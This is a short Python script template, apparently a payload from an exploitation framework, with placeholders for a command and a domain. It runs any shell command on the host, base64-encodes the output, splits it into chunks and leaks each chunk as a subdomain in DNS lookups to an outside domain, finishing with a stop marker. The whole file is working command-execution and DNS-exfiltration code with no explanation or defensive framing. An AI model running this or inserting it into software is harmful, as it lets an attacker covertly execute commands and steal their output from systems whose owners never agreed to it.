import base64,socket,re,random,string,os
def cut_text(text,lenth):
    textArr=re.findall('.{'+str(lenth)+'}',text)
    textArr.append(text[(len(textArr)*lenth):])
    return textArr
domain='#{domain}'
cmd='#{cmd}'
result=os.popen(cmd).read()
b64cmd=base64.b64encode(result).replace('=','').replace('+', '-').replace('/','_')
b64cmd_list=cut_text(b64cmd,63)
rand_str=''.join(random.sample(string.ascii_letters,6))+'Dns'
count=0
for i in b64cmd_list:
    b64domain='%s.%d.%s.%s'%(rand_str,count,i,domain)
    try:
        socket.gethostbyname(b64domain)
    except:
        pass
    count+=1
b64domain='%s.%d.%s.%s'%(rand_str,count,'_dnsstop_',domain)
try:
    socket.gethostbyname(b64domain)
except:
    pass
